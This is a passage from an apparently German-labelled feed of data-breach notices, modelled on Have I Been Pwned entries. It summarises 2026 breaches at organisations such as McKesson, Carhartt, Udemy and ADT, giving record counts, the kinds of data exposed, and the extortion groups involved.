| Browser user agent details, Email addresses, Geographic locations, IP addresses, Names, Phone numbers, Purchases, Vehicle registration plates In August 2026, Manchester Airports Group (MAG) disclosed a data breach impacting their services. The incident was later claimed by the FulcrumSec hacking group, who subsequently published email addresses and phone numbers relating to 8.8M customers of Manchester, Stansted and East Midlands airports. The data contained personal information relating to airport services, including vehicle registrations and parking history, Fast Track purchases and lounge bookings. In their disclosure notice, MAG advised that "at no point has passenger safety or aviation security been compromised". |
||
| 21.08.2026 - McKesson | 6.404.340 Datensätze geleaked | |
| Dates of birth, Email addresses, Employers, Genders, Names, Personal health data, Phone numbers, Physical addresses In August 2026, healthcare and pharmaceutical company McKesson was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published a substantial corpus of data they alleged was sourced from the company, which included 6.4M unique email addresses among other personal and corporate data attributes. The impacted data related to a range of individuals and roles, including marketing campaign recipients, patients, staff and healthcare provider contacts. In McKesson's disclosure notice, the company advised it had identified unauthorised access to "certain third-party applications and the exfiltration of certain data was associated with a subset of customers within our Oncology & Multispecialty and Medical-Surgical business units", but had "reasonable assurance of no ongoing unauthorized activity". |
||
| 15.08.2026 - Oz Hair and Beauty | 1.988.331 Datensätze geleaked | |
| Email addresses, Geographic locations, Names, Phone numbers, Purchases In August 2026, Australian beauty retailer Oz Hair and Beauty was the target of an xpl0itrs extortion attack. The group subsequently published data allegedly obtained from the company, which included 2M unique email addresses along with names, phone numbers, geographic locations (suburb and postcode) and purchases. |
||
| 13.08.2026 - Carhartt | 12.933.413 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In August 2026, clothing retailer Carhartt was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly obtained from the company including 12.9M unique email addresses, names, phone numbers and physical addresses. The published corpus also contained millions of synthetic records that did not relate to real individuals and were excluded from the breach. |
||
| 06.08.2026 - Fanlore | 144.520 Datensätze geleaked | |
| Email addresses, Names, Passwords, Usernames In August 2026, the Organization for Transformative Works (OTW) identified unauthorised access to the Fanlore wiki it operates. The breach resulted in the exposure of 145k unique email addresses along with usernames and passwords stored as either MD5 or PBKDF2 hashes. OTW self-submitted the exposed data to HIBP. |
||
| 03.08.2026 - Chess.com (2026) | 4.653.212 Datensätze geleaked | |
| Email addresses, Geographic locations, Names, Usernames In August 2026, millions of records allegedly sourced from Chess.com were posted online. The data contained 7.3M rows with 4.6M unique email addresses, along with usernames, names, countries and data relating to users' Chess.com accounts. Analysis of the data suggested it had been obtained by scraping. When loaded into HIBP, 99% of the email addresses had already appeared in previous data breaches, further supporting the scraping theory. Read more about scrapes and data breaches. |
||
| 01.08.2026 - Alcon | 218.395 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In August 2026, the Alcon eye care company was named in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly sourced from Alcon containing 218k unique email addresses along with other largely corporate B2B contact fields, including name, phone number and physical address. |
||
| 01.08.2026 - Questel | 1.226.209 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In August 2026, the French intellectual property software and services company Questel was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published an extensive corpus of data they alleged was obtained from the company, largely comprising corporate contact information associated with sales leads, support cases and marketing activities, with 1.2M unique email addresses. The data also included names, employers and job titles, along with physical addresses and phone numbers. |
||
| 27.07.2026 - RingCentral | 1.596.490 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In July 2026, the cloud-based business communications platform RingCentral was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they claimed was obtained from the platform, which included 1.6M unique email addresses along with names, physical addresses and phone numbers. In their disclosure notice, RingCentral advised that the incident affected "a limited portion of RingCentral customers" and that it was communicating directly with those affected. |
||
| 21.07.2026 - SplitVPN | 865.336 Datensätze geleaked | |
| Device information, Email addresses, Geographic locations, IP addresses, Partial credit card data In July 2026, the Russian VPN service SplitVPN (previously known as NotVPN) suffered a data breach. The incident exposed millions of customer records, including 865k unique email addresses. Other impacted data included IP addresses, the user's country, and partial payment card data (first 6 and last 4 digits plus expiry date). |
||
| 15.07.2026 - Exact Sciences | 10.869.543 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Names, Personal health data, Phone numbers, Physical addresses In July 2026, Exact Sciences (now owned by Abbott Laboratories) was the target of a ShinyHunters "pay or leak" extortion campaign. The group claimed to have obtained data from the company's cancer diagnostics business, which they later published publicly. The breach contained 10.9M unique email addresses belonging to customers, patients and healthcare providers, along with names, addresses, phone numbers and health records. Abbott subsequently published a public notice advising that "some of the impacted files contain personal information and/or personal health information" and that more specific information would follow once their review of the incident was complete. For context, Exact Sciences is the maker of the Cologuard at-home colorectal cancer screening test. |
||
| 13.07.2026 - Brinks Home | 732.162 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In July 2026, Brinks Home was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from the company, including 732k unique email addresses and other personal information relating to leads, customers and Brinks staff such as name, phone numbers and physical addresses. The data also included purchases from Brinks along with partial credit card data (last 4 digits, card type and expiry). In Brinks' disclosure notice, they acknowledged the incident and risk of disclosure, and advised that they would notify impacted parties "consistent with applicable law". |
||
| 01.07.2026 - Fluke | 821.100 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Physical addresses, Support tickets In July 2026, electronic test and measurement equipment company Fluke was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published more than 100GB of data allegedly taken from the company. The corpus contained largely corporate contact information, including over 800k unique email addresses, names, phone numbers and physical addresses. A large collection of support cases was also present. |
||
| 18.06.2026 - Inter-Con Security | 276.114 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In June 2026, Inter-Con Security was targeted in a ShinyHunters “pay or leak” extortion campaign. The group subsequently published data it alleged was taken from the company, including 276k unique email addresses along with names, physical addresses, job titles and phone numbers. The data encompassed a combination of contacts, internal users and leads. |
||
| 18.06.2026 - Operation Endgame 4.0 | 4.348.526 Datensätze geleaked | |
| Email addresses, Passwords On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation also targeted by Operation Endgame were provided, followed by another 131k email addresses the following month, bringing the total to more than 4.3M unique email addresses. |
||
| 16.06.2026 - Houston City College | 831.642 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Email addresses, Genders, Names, Phone numbers, Physical addresses In June 2026, Houston City College was the target of a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from the college was later published publicly and included 832k unique email addresses along with names, addresses, phone numbers, academic records, and other personal information relating to both current students and alumni. |
||
| 15.06.2026 - Glendale Community College | 793.925 Datensätze geleaked | |
| Academic records, Dates of birth, Email addresses, Genders, Government issued IDs, Names, Phone numbers, Physical addresses In June 2026, Glendale Community College was the target of a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from Glendale was later published online and included almost 800k unique email addresses along with various other data fields, including names, addresses, phone numbers, Social Security numbers and other information relating to student enrolments. In its disclosure notice, the college advised that "the potentially impacted information may vary for each individual and may include all or just one of the above-listed types of information". |
||
| 15.06.2026 - June 2026 Stealer Logs | 56.278.397 Datensätze geleaked | |
| Email addresses, Passwords In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API. |
||
| 15.06.2026 - Moody Bible Institute | 2.303.416 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Marital statuses, Names, Phone numbers, Physical addresses In June 2026, Moody Bible Institute was targeted by a ShinyHunters "pay or leak" extortion campaign. Over 2.3M unique email addresses and other personal data were later published publicly, including names, physical addresses, phone numbers, dates of birth and other information relating to donors, supporters, students and alumni. In their disclosure notice, Moody advised that they had "engaged both internal and external cybersecurity experts to thoroughly investigate the matter". |
||
| 15.06.2026 - Sysco | 2.691.852 Datensätze geleaked | |
| Customer feedback, Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, the food distribution company Sysco was targeted by a ShinyHunters "pay or leak" extortion campaign. Data was subsequently published containing 2.7M unique email addresses belonging to staff and customers. The data also contained largely corporate contact information including names, phone numbers, physical addresses, internal job titles, and customer feedback. |
||
| 12.06.2026 - American Tower | 216.601 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In June 2026, telecommunications tower infrastructure company American Tower was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly taken from the company containing more than 200k unique email addresses belonging to employees, contractors, customers, and leads. Exposed data also included names, addresses, and phone numbers. |
||
| 12.06.2026 - JCPenney | 368.418 Datensätze geleaked | |
| Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses. |
||
| 11.06.2026 - Ralph Lauren | 139.903 Datensätze geleaked | |
| Age groups, Email addresses, Genders, Names, Phone numbers In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups. |
||
| 09.06.2026 - Goose Creek | 6.574.121 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Purchases In June 2026, a party claiming to have access to data from Goose Creek Candle Company sent emails to a number of the company's customers, claiming the company had a security vulnerability and suffered a data breach. The data was subsequently sent to Have I Been Pwned and contained 6.6M unique email addresses along with names, phone numbers, physical addresses, order IDs and total spent. The data appears to have been obtained from the company's Shopify instance. Goose Creek is aware of the reports but was unable to provide Have I Been Pwned with any further information at the time of publication. |
||
| 09.06.2026 - University of Nottingham | 454.635 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni". |
||
| 05.06.2026 - Madison Square Garden Sports | 9.796.738 Datensätze geleaked | |
| Customer service records, Email addresses, Names, Phone numbers, Physical addresses In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters "pay or leak" extortion campaign. The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information. |
||
| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
||
| 29.05.2026 - BCD Travel | 396.313 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets. |
||
| 23.05.2026 - Baker Distributing | 102.935 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity. |
||
| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
||
| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
||
| 14.05.2026 - Golf Canada | 568.972 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Names, Usernames In mid-2026, hundreds of thousands of user records allegedly sourced from Golf Canada began circulating via Telegram. The data included 569k unique email addresses along with names, usernames, dates of birth, genders and approximate geographic locations (city, province and postcode). It remains unclear whether the data was obtained via unintentionally exposed website features or a security vulnerability. |
||
| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
||
| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
||
| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
||
| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
||
| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
||
| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
||
| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
||